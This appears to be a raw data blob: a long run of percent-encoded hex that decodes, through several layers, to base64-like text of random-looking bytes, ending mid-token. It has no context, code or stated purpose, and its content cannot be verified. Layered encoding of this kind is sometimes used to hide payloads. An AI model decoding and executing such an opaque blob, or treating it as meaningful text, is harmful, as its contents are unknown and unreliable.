%36%65%25%36%62%25%37%39%25%36%38%25%36%66%25%34%36%25%34%63%25%33%37%25%36%32%25%36%65%25%33%38%25%36%36%25%36%34%25%37%30%25%34%64%25%35%35%25%37%36%25%35%32%25%33%37%25%37%34%25%36%34%25%32%62%25%34%65%25%37%34%25%34%65%25%34%63%25%34%66%25%37%34%25%34%61%25%36%61%25%32%66%25%36%62%25%36%62%25%35%37%25%36%36%25%35%31%25%34%38%25%35%36%25%35%61%25%33%37%25%37%36%25%34%36%25%34%31%25%36%34%25%34%37%25%37%35%25%36%62%25%33%34%25%37%31%25%37%39%25%37%36%25%37%35%25%36%32%25%34%63%25%36%35%25%37%31%25%36%38%25%35%35%25%34%33%25%34%62%25%36%36%25%35%33%25%34%65%25%37%32%25%33%35%25%35%30%25%35%30%25%36%66%25%37%35%25%34%38%25%36%64%25%37%34%25%37%39%25%33%34%25%32%62%25%37%61%25%36%63%25%34%39%25%34%35%25%34%33%25%33%34%25%35%38%25%34%31%25%35%38%25%33%32%25%34%66%25%34%66%25%34%65%25%34%61%25%37%35%25%33%33%25%34%62%25%32%62%25%35%30%25%33%30%25%35%61%25%34%38%25%36%35%25%34%66%25%37%30%25%36%39%25%33%38%25%37%37%25%36%32%25%37%35%25%36%66%25%35%39%25%33%32%25%36%66%25%34%33%25%36%35%25%32%66%25%37%30%25%34%61%25%34%64%25%37%37%25%37%35%25%32%66%25%36%37%25%35%39%25%34%62%25%36%66%25%33%31%25%34%66%25%34%62%25%37%36%25%34%35%25%36%31%25%36%63%25%37%36%25%36%34%25%36%39%25%34%31%25%36%66%25%36%61%25%34%34%25%34%39%25%35%31%25%34%34%25%35%31%25%34%32%25%33%38%25%34%31%25%33%33%25%36%66%25%34%31%25%32%66%25%36%33%25%34%33%25%35%39%25%34%31%25%33%33%25%34%37%25%35%32%25%34%31%25%35%38%25%36%37%25%34%63%25%33%38%25%36%37%25%34%65%25%36%37%25%35%35%25%35%38%25%36%37%25%34%31%25%34%35%25%34%63%25%33%38%25%37%32%25%34%38%25%37%30%25%37%30%25%35%36%25%34%38%25%33%30%25%35%37%25%33%35%25%34%65%25%32%62%25%36%62%25%36%31%25%33%38%25%32%66%25%36%61%25%34%34%25%36%62%25%36%33%25%33%30%25%37%30%25%33%32%25%37%33%25%37%38%25%35%34%25%36%31%25%36%63%25%37%37%25%33%33%25%34%38%25%37%36%25%33%38%25%36%31%25%35%61%25%34%65%25%36%61%25%32%62%25%34%35%25%33%35%25%35%34%25%37%36%25%35%36%25%34%39%25%37%39%25%35%36%25%36%39%25%36%63%25%36%39%25%37%61%25%34%37%25%34%66%25%36%63%25%33%35%25%35%34%25%36%64%25%36%32%25%37%31%25%36%32%25%36%31%25%35%37%25%35%30%25%35%33%25%34%32%25%34%65%25%34%36%25%35%36%25%35%38%25%35%38%25%37%32%25%35%36%25%33%36%25%35%32%25%36%31%25%36%64%25%36%32%25%33%30%25%37%36%25%36%33%25%36%64%25%35%61%25%36%38%25%37%37%25%36%35%25%34%63%25%33%39%25%36%35%25%34%63%25%36%35%25%37%32%25%34%66%25%35%39%25%36%34%25%34%33%25%36%34%25%34%34%25%32%66%25%37%61%25%36%32%25%37%35%25%33%38%25%36%64%25%36%66%25%32%62%25%37%31%25%35%36%25%36%34%25%37%30%25%34%64%25%35%38%25%33%37%25%36%63%25%37%36%25%34%37%25%36%65%25%36%33%25%34%39%25%32%62%25%34%61%25%37%36%25%35%39%25%33%34%25%35%38%25%36%65%25%37%37%25%34%61%25%37%38%25%36%61%25%37%61%25%36%61%25%34%33%25%36%65%25%34%66%25%33%39%25%34%62%25%34%39%25%33%35%25%33%38%25%35%36%25%36%66%25%33%34%25%33%38%25%35%61%25%33%38%25%35%32%25%34%64%25%37%34%25%37%38%25%36%37%25%34%35%25%33%36%25%36%64%25%34%66%25%35%31%25%36%62%25%36%62%25%36%38%25%36%37%25%35%36%25%33%37%25%36%35%25%35%30%25%36%62%25%37%30%25%36%62%25%34%36%25%34%66%25%34%37%25%37%35%25%34%37%25%37%33%25%36%66%25%33%36%25%35%34%25%34%34%25%34%37%25%33%33%25%37%30%25%33%35%25%35%32%25%37%32%25%37%37%25%34%34%25%34%33%25%34%65%25%35%61%25%34%32%25%34%31%25%35%61%25%33%32%25%35%32%25%35%32%25%35%33%25%35%33%25%36%62%25%35%35%25%35%33%25%34%33%25%35%37%25%33%35%25%36%38%25%36%33%25%33%35%25%37%33%25%35%31%25%33%35%25%36%33%25%37%39%25%37%32%25%35%35%25%36%65%25%36%61%25%34%38%25%36%61%25%33%31%25%33%34%25%33%38%25%36%65%25%34%63%25%37%35%25%37%32%25%36%36%25%37%33%25%33%32%25%37%35%25%35%34%25%36%35%25%34%39%25%36%37%25%37%32%25%37%36%25%32%66%25%37%31%25%35%37%25%34%65%25%34%64%25%37%35%25%33%31%25%36%61%25%34%35%25%36%36%25%35%33%25%34%61%25%37%38%25%34%66%25%34%33%25%34%62%25%34%38%25%33%37%25%36%32%25%36%65%25%35%31%25%33%33%25%32%66%25%35%33%25%37%34%25%32%66%25%33%31%25%36%38%25%37%30%25%36%34%25%34%64%25%37%31%25%36%32%25%33%36%25%37%38%25%34%34%25%36%63%25%37%31%25%34%34%25%34%37%25%35%31%25%32%66%25%37%36%25%36%61%25%36%38%25%33%33%25%34%62%25%34%31%25%32%66%25%33%36%25%34%33%25%34%65%25%34%33%25%37%31%25%36%36%25%37%31%25%34%39%25%37%34%25%36%66%25%36%33%25%32%62%25%36%64%25%36%35%25%35%35%25%37%36%25%34%61%25%37%32%25%36%31%25%36%34%25%34%62%25%37%35%25%36%39%25%34%64%25%34%64%25%33%35%25%33%32%25%34%33%25%34%32%25%36%33%25%35%35%25%33%36%25%33%33%25%35%36%25%37%39%25%34%61%25%36%34%25%35%31%25%33%38%25%33%30%25%34%35%25%33%32%25%33%31%25%36%37%25%32%66%25%33%36%25%34%36%25%36%37%25%37%30%25%32%66%25%37%33%25%34%36%25%37%36%25%33%33%25%34%32%25%35%33%25%34%31%25%34%66%25%37%35%25%33%31%25%35%35%25%35%36%25%34%34%25%37%35%25%33%31%25%34%61%25%35%39%25%35%31%25%33%32%25%33%39%25%32%62%25%34%33%25%37%33%25%36%65%25%33%39%25%36%32%25%33%30%25%36%65%25%33%38%25%34%37%25%33%30%25%37%39%25%36%32%25%36%39%25%34%36%25%33%35%25%36%65%25%35%39%25%35%31%25%35%39%25%33%33%25%34%61%25%37%33%25%37%61%25%34%38%25%36%39%25%34%31%25%35%34%25%33%30%25%37%33%25%33%30%25%35%61%25%33%38%25%36%61%25%37%30%25%36%33%25%34%39%25%34%37%25%36%36%25%37%61%25%36%39%25%35%36%25%37%31%25%33%35%25%37%36%25%35%32%25%33%35%25%37%32%25%36%31%25%34%38%25%33%33%25%34%38%25%34%38%25%37%30%25%36%35%25%35%30%25%34%38%25%33%36%25%36%66%25%33%36%25%33%33%25%37%34%25%34%65%25%34%65%25%33%32%25%34%63%25%33%31%25%34%32%25%33%31%25%36%36%25%37%38%25%35%33%25%33%30%25%35%30%25%34%33%25%36%31%25%35%38%25%34%32%25%37%35%25%36%33%25%37%36%25%33%38%25%34%63%25%37%37%25%34%38%25%37%35%25%36%36%25%35%33%25%33%32%25%32%66%25%34%34%25%33%36%25%34%36%25%37%61%25%33%39%25%36%61%25%36%61%25%34%62%25%33%39%25%34%37%25%34%37%25%36%33%25%33%33%25%36%33%25%33%31%25%34%37%25%35%32%25%33%34%25%37%33%25%33%31%25%36%31%25%35%36%25%33%30%25%37%36%25%33%37%25%34%32%25%35%38%25%36%66%25%35%39%25%36%63%25%33%37%25%34%39%25%33%37%25%37%34%25%34%66%25%33%37%25%36%31%25%36%33%25%36%35%25%36%31%25%36%61%25%35%61%25%35%32%25%34%38%25%37%35%25%33%35%25%34%64%25%36%35%25%34%66%25%36%33%25%35%39%25%37%36%25%33%35%25%36%65%25%36%39%25%32%62%25%37%31%25%37%37%25%34%37%25%37%36%25%37%61%25%35%30%25%37%37%25%35%32%25%36%38%25%36%66%25%37%36%25%35%36%25%37%30%25%36%39%25%36%65%25%34%32%25%37%39%25%34%35%25%34%33%25%32%66%25%36%32%25%33%39%25%36%36%25%34%63%25%36%33%25%34%61%25%34%32%25%36%63%25%33%37%25%32%62%25%33%39%25%34%31%25%37%38%25%35%37%25%36%39%25%36%65%25%34%37%25%34%35%25%34%65%25%34%31%25%37%38%25%34%31%25%36%37%25%34%63%25%36%38%25%36%39%25%33%36%25%35%33%25%33%30%25%37%33%25%36%36%25%35%61%25%35%31%25%36%31%25%37%39%25%34%61%25%34%31%25%36%61%25%36%31%25%35%33%25%36%64%25%36%63%25%34%62%25%37%39%25%34%61%25%37%34%25%35%35%25%34%36%25%33%36%25%35%34%25%35%34%25%37%39%25%37%37%25%37%33%25%33%36%25%34%61%25%34%36%25%36%61%25%34%36%25%34%33%25%37%31%25%35%32%25%35%31%25%34%62%25%34%61%25%34%39%25%37%38%25%34%65%25%36%39%25%37%38%25%36%31%25%33%35%25%36%33%25%37%39%25%37%32%25%35%37%25%35%39%25%34%64%25%37%34%25%35%35%25%36%37%25%37%37%25%33%36%25%37%31%25%35%33%25%34%31%25%35%37%25%34%61%25%33%38%25%37%31%25%34%37%25%36%64%25%34%66%25%34%38%25%37%31%25%34%39%25%36%32%25%35%34%25%37%37%25%36%64%25%34%33%25%36%62%25%36%34%25%33%39%25%35%36%25%35%30%25%37%33%25%36%64%25%37%35%25%34%33%25%35%30%25%36%65%25%33%36%25%36%61%25%34%38%25%33%37%25%33%32%25%37%37%25%35%30%25%36%39%25%37%33%25%37%36%25%34%63%25%34%63%25%34%32%25%35%38%25%34%38%25%33%31%25%34%38%25%33%31%25%34%63%25%35%35%25%32%66%25%37%36%25%37%31%25%35%38%25%34%38%25%37%36%25%34%39%25%36%64%25%34%34%25%36%39%25%37%35%25%37%34%25%37%36%25%36%32%25%35%35%25%33%32%25%37%31%25%32%62%25%34%62%25%37%30%25%34%64%25%36%35%25%37%34%25%37%34%25%32%66%25%35%39%25%33%32%25%36%34%25%36%34%25%37%34%25%34%32%25%33%38%25%35%34%25%35%36%25%37%37%25%33%34%25%35%38%25%35%32%25%33%38%25%34%39%25%35%32%25%34%63%25%36%61%25%34%38%25%32%62%25%37%39%25%35%31%25%35%36%25%33%30%25%34%64%25%37%30%25%34%35%25%35%61%25%37%61%25%34%37%25%33%33%25%37%32%25%34%33%25%33%30%25%36%66%25%33%33%25%36%31%25%37%39%25%37%34%25%34%39%25%36%61%25%37%35%25%37%30%25%34%37%25%37%38%25%36%36%25%37%32%25%33%33%25%33%30%25%35%32%25%37%33%25%34%64%25%35%36%25%36%63%25%37%33%25%34%32%25%36%37%25%33%37%25%37%32%25%34%65%25%37%31%25%33%30%25%34%39%25%37%32%25%34%37%25%34%32%25%34%39%25%34%33%25%36%35%25%35%31%25%36%33%25%36%36%25%34%35%25%35%34%25%36%62%25%37%32%25%35%32%25%37%37%25%36%36%25%34%37%25%37%38%25%36%64%25%37%35%25%36%37%25%36%36%25%34%36%25%35%37%25%36%65%25%34%33%25%32%66%25%34%61%25%33%34%25%33%33%25%35%61%25%36%31%25%33%30%25%34%34%25%35%37%25%35%33%25%35%39%25%34%39%25%37%31%25%34%39%25%34%61%25%37%37%25%34%65%25%35%31%25%33%37%25%36%39%25%33%37%25%36%63%25%33%39%25%34%66%25%33%36%25%37%39%25%35%61%25%36%37%25%33%36%25%33%31%25%34%34%25%34%63%25%37%32%25%35%30%25%37%38%25%33%38%25%37%35%25%36%62%25%37%31%25%33%33%25%35%32%25%36%65%25%34%38%25%33%31%25%35%32%25%35%31%25%34%32%25%36%66%25%33%37%25%36%65%25%37%36%25%35%61%25%36%66%25%36%34%25%35%39%25%34%66%25%36%31%25%35%30%25%37%35%25%34%64%25%37%35%25%35%37%25%37%31%25%36%61%25%35%34%25%34%34%25%36%65%25%33%38%25%36%65%25%33%33%25%34%36%25%33%38%25%37%36%25%36%35%25%36%37%25%35%39%25%36%61%25%35%31%25%34%34%25%37%30%25%34%35%25%36%38%25%35%35%25%34%32%25%36%37%25%36%61%25%37%30%25%35%39%25%37%35%25%34%35%25%33%33%25%34%66%25%33%34%25%34%63%25%34%38%25%34%31%25%35%61%25%36%66%25%35%34%25%35%33%25%35%34%25%35%39%25%33%36%25%34%38%25%34%33%25%37%34%25%37%35%25%34%39%25%36%65%25%36%63%25%36%66%25%33%35%25%33%31%25%37%38%25%37%31%25%33%31%25%37%36%25%34%38%25%36%33%25%34%37%25%35%37%25%35%38%25%34%62%25%33%35%25%37%38%25%33%31%25%36%32%25%34%33%25%36%65%25%34%34%25%34%34%25%34%39%25%34%37%25%33%32%25%36%35%25%33%37%25%37%34%25%37%33%25%37%37%25%34%62%25%35%35%25%34%62%25%37%34%25%36%62%25%34%32%25%32%62%25%36%66%25%32%66%25%33%30%25%36%35%25%37%34%25%36%34%25%36%32%25%36%35%25%37%37%25%35%37%25%37%31%25%36%32%25%35%37%25%37%36%25%37%34%25%33%37%25%35%37%25%34%32%25%33%36%25%33%37%25%33%34%25%33%35%25%35%34%25%36%39%25%36%63%25%37%30%25%34%61%25%36%66%25%35%34%25%34%61%25%35%32%25%33%32%25%34%66%25%33%30%25%37%33%25%36%64%25%34%31%25%37%35%25%36%31%25%33%32%25%33%30%25%33%37%25%32%62%25%36%62%25%33%39%25%34%64%25%36%31%25%34%63%25%35%61%25%34%66%25%34%61%25%34%62%25%36%65%25%37%61%25%36%64%25%36%34%25%34%62%25%34%66%25%36%35%25%34%36%25%33%35%25%37%30%25%35%38%25%34%32%25%37%36%25%32%62%25%36%63%25%35%36%25%37%39%25%37%34%25%34%62%25%36%38%25%33%35%25%36%66%25%33%33%25%35%37%25%32%66%25%34%65%25%33%34%25%36%39%25%34%35%25%33%36%25%35%35%25%36%34%25%36%32%25%36%64%25%35%61%25%36%35%25%33%33%25%35%61%25%34%32%25%34%33%25%35%39%25%36%65%25%36%65%25%35%30%25%37%37%25%36%63%25%34%61%25%33%36%25%35%35%25%37%32%25%34%32%25%35%38%25%33%31%25%36%61%25%34%62%25%37%32%25%33%38%25%35%61%25%36%33%25%37%30%25%33%33%25%36%38%25%37%37%25%34%66%25%34%35%25%33%30%25%34%33%25%36%34%25%33%32%25%33%33%25%35%38%25%34%65%25%36%62%25%33%39%25%37%38%25%33%31%25%33%32%25%37%33%25%33%32%25%33%30%25%36%39%25%34%35%25%33%34%25%36%31%25%35%34%25%37%32%25%37%36%25%37%39%25%37%32%25%34%63%25%33%39%25%36%33%25%34%33%25%36%39%25%33%34%25%37%31%25%35%33%25%36%62%25%37%31%25%33%35%25%33%38%25%36%62%25%37%34%25%37%30%25%33%39%25%36%66%25%37%32%25%34%63%25%37%35%25%33%30%25%33%30%25%34%37%25%35%35%25%33%31%25%37%31%25%34%61%25%33%38%25%34%33%25%37%31%25%34%62%25%35%61%25%37%34%25%36%32%25%34%62%25%36%39%25%36%32%25%36%64%25%36%32%25%36%38%25%36%36%25%34%64%25%35%33%25%33%37%25%36%64%25%35%31%25%36%31%25%36%62%25%33%35%25%37%34%25%35%34%25%32%62%25%34%65%25%37%38%25%34%64%25%36%65%25%37%30%25%36%66%25%35%37%25%36%33%25%34%37%25%34%66%25%36%65%25%37%31%25%33%36%25%36%32%25%34%36%25%33%38%25%34%35%25%33%31%25%34%66%25%33%32%25%34%38%25%36%35%25%33%34%25%36%35%25%37%61%25%32%62%25%34%64%25%36%65%25%33%35%25%34%34%25%34%66%25%37%31%25%33%39%25%34%66%25%37%35%25%37%38%25%35%38%25%34%62%25%33%30%25%35%37%25%37%34%25%35%36%25%35%33%25%36%62%25%34%62%25%35%30%25%34%65%25%37%39%25%36%65%25%36%65%25%36%36%25%37%33%25%36%61%25%37%31%25%32%62%25%36%34%25%37%30%25%35%32%25%36%38%25%34%36%25%32%62%25%34%39%25%37%31%25%36%64%25%34%33%25%35%35%25%34%39%25%37%31%25%33%34%25%35%32%25%33%31%25%34%37%25%33%32%25%34%38%25%36%64%25%37%33%25%33%33%25%35%35%25%34%38%25%34%66%25%34%63%25%36%66%25%32%66%25%35%34%25%34%38%25%35%36%25%36%65%25%33%36%25%37%37%25%35%39%25%37%39%25%36%63%25%33%36%25%32%62%25%36%66%25%34%38%25%35%37%25%36%39%25%33%38%25%36%63%25%37%35%25%36%35%25%35%34%25%37%34%25%37%34%25%33%34%25%36%65%25%33%37%25%36%33%25%35%30%25%34%39%25%33%32%25%37%33%25%37%36%25%34%39%25%34%36%25%35%38%25%34%63%25%34%65%25%36%39%25%33%31%25%36%64%25%35%38%25%35%61%25%36%62%25%33%36%25%37%36%25%37%30%25%32%66%25%37%37%25%35%61%25%36%31%25%36%32%25%32%66%25%33%31%25%34%39%25%36%33%25%33%33%25%35%33%25%33%32%25%34%64%25%33%35%25%34%38%25%35%61%25%35%39%25%33%31%25%33%34%25%37%38%25%34%37%25%35%33%25%37%39%25%33%32%25%35%37%25%36%63%25%36%32%25%36%62%25%34%34%25%37%39%25%35%61%25%35%37%25%36%38%25%37%38%25%34%32%25%36%62%25%33%34%25%37%36%25%35%61%25%36%35%25%35%34%25%33%36%25%37%38%25%37%34%25%36%35%25%34%64%25%33%30%25%33%30%25%36%37%25%34%65%25%36%38%25%36%65%25%34%33%25%33%39%25%34%33%25%33%37%25%35%31%25%33%32%25%36%61%25%34%39%25%36%39%25%35%35%25%33%36%25%34%63%25%36%63%25%37%32%25%34%36%25%37%37%25%36%66%25%37%37%25%33%35%25%34%37%25%36%63%25%37%35%25%33%37%25%33%30%25%35%37%25%36%36%25%33%39%25%35%33%25%32%62%25%35%30%25%34%63%25%34%31%25%33%36%25%36%37%25%37%38%25%35%32%25%35%37%25%34%66%25%37%61%25%33%32%25%36%64%25%36%61%25%37%30%25%34%61%25%34%62%25%34%37%25%34%61%25%37%30%25%36%34%25%34%62%25%34%36%25%37%34%25%37%31%25%36%31%25%36%65%25%36%38%25%36%32%25%36%31%25%36%66%25%37%34%25%34%33%25%36%31%25%36%64%25%35%35%25%34%35%25%36%37%25%33%35%25%37%34%25%36%34%25%36%32%25%34%61%25%37%30%25%36%31%25%35%35%25%34%38%25%34%66%25%36%32%25%35%35%25%34%66%25%36%35%25%34%37%25%36%38%25%34%32%25%36%31%25%36%36%25%34%34%25%33%35%25%37%36%25%36%32%25%33%36%25%33%36%25%37%35%25%34%63%25%37%32%25%36%33%25%36%63%25%37%34%25%35%32%25%35%35%25%37%61%25%37%34%25%35%38%25%34%36%25%33%38%25%35%35%25%37%36%25%35%61%25%36%35%25%37%61%25%33%35%25%36%64%25%32%66%25%33%34%25%36%36%25%32%62%25%36%66%25%36%38%25%36%32%25%35%61%25%37%35%25%36%62%25%37%34%25%36%62%25%37%39%25%35%33%25%36%36%25%36%62%25%33%30%25%33%30%25%37%38%25%37%39%25%37%31%25%36%36%25%33%34%25%37%39%25%32%66%25%33%33%25%34%36%25%33%34%25%33%30%25%35%31%25%36%36%25%36%38%25%35%30%25%37%30%25%34%39%25%36%66%25%34%63%25%35%36%25%35%35%25%35%35%25%35%30%25%34%35%25%35%31%25%35%37%25%35%38%25%36%61%25%34%65%25%34%62%25%33%35%25%35%39%25%37%31%25%36%32%25%36%39%25%34%39%25%33%33%25%33%32%25%34%34%25%33%35%25%34%62%25%35%31%25%33%38%25%36%31%25%34%38%25%37%31%25%34%37%25%35%37%25%35%37%25%33%30%25%34%61%25%34%35%25%34%65%25%37%35%25%35%34%25%35%35%25%35%36%25%36%37%25%35%39%25%35%32%25%34%65%25%34%33%25%37%37%25%36%64%25%36%37%25%37%35%25%32%62%25%37%34%25%34%37%25%36%62%25%33%37%25%36%61%25%37%32%25%37%36%25%35%61%25%34%64%25%33%38%25%34%36%25%35%39%25%37%61%25%37%37%25%36%66%25%37%32%25%36%36%25%35%35%25%34%32%25%37%30%25%34%62%25%36%37%25%36%33%25%37%31%25%36%62%25%36%37%25%35%35%25%35%36%25%34%64%25%34%34%25%36%61%25%33%30%25%36%37%25%37%32%25%33%35%25%36%66%25%36%66%25%37%61%25%34%31%25%33%38%25%34%35%25%36%37%25%35%36%25%36%38%25%36%35%25%36%64%25%37%36%25%36%61%25%35%38%25%34%61%25%36%65%25%32%62%25%37%33%25%35%37%25%33%37%25%36%39%25%37%34%25%35%31%25%37%39%25%34%63%25%36%64%25%37%30%25%36%33%25%35%31%25%35%61%25%36%36%25%35%34%25%37%34%25%36%31%25%34%66%25%33%32%25%37%33%25%35%37%25%33%38%25%36%62%25%36%33%25%34%39%25%35%32%25%35%32%25%34%34%25%34%32%25%34%35%25%37%36%25%35%34%25%35%38%25%36%65%25%35%31%25%37%33%25%36%38%25%37%34%25%36%36%25%33%38%25%34%31%25%37%30%25%36%61%25%35%32%25%34%62%25%35%38%25%34%61%25%35%33%25%37%37%25%37%35%25%36%39%25%34%63%25%35%34%25%35%32%25%36%35%25%35%32%25%34%33%25%36%37%25%33%36%25%33%37%25%34%38%25%35%37%25%34%66%25%37%32%25%36%66%25%37%36%25%34%35%25%36%61%25%33%31%25%34%31%25%34%62%25%34%61%25%35%32%25%36%32%25%34%64%25%32%62%25%37%39%25%33%30%25%34%32%25%36%33%25%35%33%25%33%30%25%36%35%25%37%30%25%36%61%25%35%37%25%34%36%25%37%35%25%33%35%25%34%65%25%35%39%25%34%37%25%36%66%25%37%30%25%35%31%25%35%32%25%34%33%25%37%36%25%36%62%25%33%38%25%35%37%25%36%39%25%34%36%25%35%31%25%37%30%25%34%37%25%34%37%25%37%39%25%36%64%25%34%61%25%36%63%25%35%35%25%35%31%25%35%35%25%36%39%25%37%35%25%37%35%25%37%35%25%37%39%25%36%31%25%37%37%25%33%37%25%34%66%25%36%66%25%36%61%25%34%34%25%37%61%25%35%39%25%33%33%25%36%62%25%33%36%25%35%34%25%34%35%25%35%38%25%37%61%25%37%38%25%36%33%25%35%61%25%37%39%25%36%34%25%35%33%25%37%32%25%37%33%25%33%33%25%33%32%25%33%36%25%34%64%25%33%36%25%35%39%25%35%34%25%35%38%25%37%30%25%35%35%25%37%34%25%36%35%25%32%62%25%37%35%25%34%39%25%36%37%25%35%31%25%37%36%25%34%33%25%36%32%25%36%65%25%36%32%25%36%32%25%33%39%25%36%61%25%33%35%25%37%31%25%37%39%25%33%33%25%36%64%25%33%37%25%33%31%25%36%62%25%37%31%25%33%31%25%34%33%25%34%61%25%36%65%25%36%61%25%34%39%25%37%38%25%36%39%25%37%36%25%36%36%25%33%31%25%36%64%25%32%62%25%34%34%25%33%35%25%37%38%25%37%36%25%35%32%25%36%64%25%32%62%25%35%30%25%37%39%25%36%62%25%34%65%25%37%32%25%34%39%25%37%39%25%36%37%25%33%34%25%34%66%25%35%39%25%36%64%25%36%31%25%35%37%25%36%39%25%34%61%25%36%36%25%34%62%25%35%61%25%36%38%25%33%34%25%37%37%25%37%35%25%37%31%25%33%36%25%32%66%25%36%32%25%36%32%25%37%38%25%33%39%25%37%37%25%34%65%25%33%30%25%33%34%25%35%61%25%36%34%25%35%30%25%32%62%25%37%61%25%34%39%25%33%30%25%37%34%25%34%62%25%37%30%25%34%62%25%36%66%25%36%65%25%34%33%25%34%38%25%35%30%25%37%30%25%36%61%25%35%37%25%36%65%25%37%35%25%33%33%25%36%62%25%35%31%25%32%62%25%36%62%25%36%65%25%36%65%25%33%31%25%33%33%25%34%37%25%37%37%25%36%66%25%34%32%25%34%64%25%37%38%25%37%31%25%35%61%25%36%65%25%35%36%25%33%34%25%35%31%25%37%30%25%36%38%25%35%32%25%36%32%25%36%37%25%37%39%25%34%62%25%33%37%25%36%37%25%37%34%25%34%64%25%37%61%25%34%66%25%36%62%25%34%34%25%36%34%25%34%66%25%36%31%25%34%37%25%34%39%25%34%39%25%34%33%25%35%37%25%35%35%25%33%34%25%34%32%25%36%66%25%35%35%25%36%39%25%34%66%25%34%36%25%34%37%25%35%39%25%35%36%25%35%61%25%36%38%25%37%37%25%36%38%25%36%39%25%36%34%25%34%61%25%35%34%25%35%32%25%35%37%25%36%65%25%35%34%25%37%33%25%37%61%25%37%35%25%34%37%25%33%34%25%37%39%25%35%39%25%36%64%25%34%34%25%37%36%25%34%64%25%35%30%25%36%63%25%34%61%25%34%31%25%32%66%25%36%38%25%34%62%25%37%30%25%36%65%25%34%36%25%34%65%25%34%65%25%36%39%25%36%66%25%37%39%25%35%33%25%37%33%25%33%30%25%34%66%25%37%33%25%35%39%25%36%39%25%33%38%25%34%66%25%35%37%25%35%35%25%35%38%25%32%66%25%33%35%25%35%61%25%35%35%25%36%34%25%35%32%25%36%62%25%37%38%25%36%64%25%34%36%25%36%64%25%34%34%25%35%31%25%35%37%25%36%61%25%35%36%25%33%34%25%35%32%25%36%66%25%37%31%25%35%61%25%36%65%25%36%61%25%35%37%25%34%39%25%36%65%25%36%31%25%36%61%25%36%37%25%34%38%25%37%37%25%37%37%25%37%35%25%34%33%25%35%33%25%36%36%25%37%30%25%35%32%25%32%66%25%33%32%25%33%39%25%37%31%25%37%31%25%34%38%25%36%32%25%33%32%25%37%39%25%35%32%25%32%62%25%35%33%25%34%35%25%36%62%25%34%37%25%36%65%25%33%31%25%34%31%25%33%34%25%34%66%25%36%65%25%34%66%25%35%37%25%37%39%25%37%38%25%35%61%25%37%37%25%37%37%25%37%32%25%36%64%25%36%61%25%33%35%25%34%32%25%33%31%25%34%62%25%36%62%25%36%64%25%37%33%25%34%39%25%36%65%25%35%61%25%33%38%25%36%35%25%33%34%25%37%33%25%32%66%25%37%61%25%36%39%25%33%36%25%33%30%25%35%33%25%35%33%25%34%32%25%34%38%25%35%34%25%36%35%25%34%33%25%37%32%25%37%30%25%34%62%25%36%66%25%36%36%25%34%66%25%34%63%25%33%34%25%34%62%25%35%32%25%35%34%25%36%62%25%33%30%25%35%33%25%35%35%25%35%31%25%36%39%25%33%36%25%35%38%25%35%37%25%37%33%25%36%37%25%35%36%25%37%30%25%35%31%25%36%35%25%37%39%25%36%34%25%36%31%25%37%38%25%33%39%25%36%32%25%35%34%25%36%34%25%33%35%25%34%64%25%36%31%25%34%39%25%33%30%25%36%34%25%37%38%25%34%61%25%36%32%25%36%37%25%37%61%25%37%30%25%36%66%25%35%32%25%35%31%25%34%39%25%36%38%25%37%32%25%35%36%25%34%31%25%36%37%25%33%31%25%34%62%25%34%32%25%37%33%25%36%34%25%36%38%25%36%31%25%37%31%25%37%39%25%34%31%25%36%62%25%34%36%25%37%37%25%36%31%25%32%62%25%33%35%25%33%34%25%37%37%25%34%32%25%36%63%25%36%34%25%35%35%25%35%39%25%34%64%25%34%63%25%37%36%25%33%36%25%33%30%25%33%32%25%34%64%25%34%38%25%35%32%25%35%32%25%34%39%25%37%34%25%36%62%25%34%63%25%37%35%25%34%61%25%37%36%25%34%63%25%36%64%25%34%62%25%36%38%25%34%63%25%34%31%25%35%35%25%33%35%25%36%62%25%34%64%25%37%34%25%37%32%25%35%36%25%37%39%25%37%34%25%33%38%25%36%65%25%35%30%25%36%35%25%36%32%25%35%30%25%35%35%25%37%39%25%35%34%25%34%61%25%33%35%25%34%63%25%33%38%25%34%65%25%33%31%25%35%38%25%37%38%25%33%38%25%34%64%25%37%31%25%36%63%25%35%33%25%36%64%25%34%39%25%33%39%25%35%35%25%36%31%25%36%63%25%35%39%25%33%36%25%37%33%25%36%64%25%37%33%25%33%36%25%37%36%25%34%35%25%36%65%25%35%34%25%35%61%25%37%61%25%37%33%25%36%31%25%35%34%25%34%39%25%34%66%25%34%66%25%35%30%25%37%36%25%34%35%25%37%31%25%33%33%25%36%65%25%37%34%25%34%32%25%33%33%25%34%63%25%36%32%25%34%36%25%37%34%25%34%34%25%35%33%25%33%36%25%36%36%25%35%38%25%33%30%25%33%39%25%34%31%25%35%37%25%33%30%25%35%33%25%35%32%25%37%31%25%36%32%25%35%61%25%35%37%25%35%31%25%36%33%25%37%37%25%35%33%25%37%30%25%34%37%25%36%62%25%37%34%25%37%34%25%35%30%25%33%31%25%37%61%25%36%36%25%36%32%25%34%63%25%34%62%25%35%30%25%36%61%25%36%39%25%34%39%25%33%31%25%35%32%25%36%39%25%34%38%25%36%61%25%34%37%25%36%64%25%35%31%25%36%32%25%36%63%25%35%38%25%34%36%25%34%62%25%34%31%25%33%39%25%33%32%25%35%38%25%37%36%25%35%35%25%36%65%25%34%66%25%35%35%25%34%66%25%37%61%25%36%63%25%37%39%25%36%32%25%36%33%25%32%62%25%36%34%25%36%63%25%33%38%25%33%33%25%34%37%25%37%37%25%35%33%25%36%37%25%36%32%25%37%37%25%37%32%25%34%38%25%37%30%25%34%32%25%33%35%25%37%36%25%34%66%25%37%35%25%35%31%25%35%61%25%34%39%25%37%34%25%34%37%25%37%32%25%33%35%25%33%34%25%37%33%25%34%35%25%34%61%25%32%62%25%35%32%25%35%30%25%37%31%25%37%32%25%34%38%25%35%38%25%33%33%25%33%38%25%32%62%25%33%39%25%36%32%25%36%62%25%36%64%25%34%61%25%37%39%25%35%30%25%36%33%25%35%33%25%36%38%25%34%65%25%34%34%25%34%35%25%36%65%25%35%30%25%36%61%25%34%34%25%34%36%25%36%33%25%36%35%25%34%39%25%36%34%25%34%62%25%33%39%25%35%34%25%34%38%25%35%33%25%36%31%25%35%35%25%36%33%25%36%32%25%37%32%25%35%33%25%35%35%25%36%66%25%35%39%25%36%66%25%35%31%25%33%39%25%33%37%25%33%39%25%37%32%25%34%38%25%36%39%25%33%34%25%33%37%25%37%34%25%34%35%25%33%32%25%35%34%25%34%37%25%36%34%25%37%31%25%37%31%25%37%39%25%36%61%25%34%62%25%34%36%25%35%35%25%35%34%25%37%31%25%34%64%25%36%34%25%36%37%25%37%30%25%37%32%25%37%61%25%36%34%25%35%33%25%34%35%25%37%34%25%35%39%25%35%35%25%37%35%25%33%38%25%34%31%25%35%35%25%35%35%25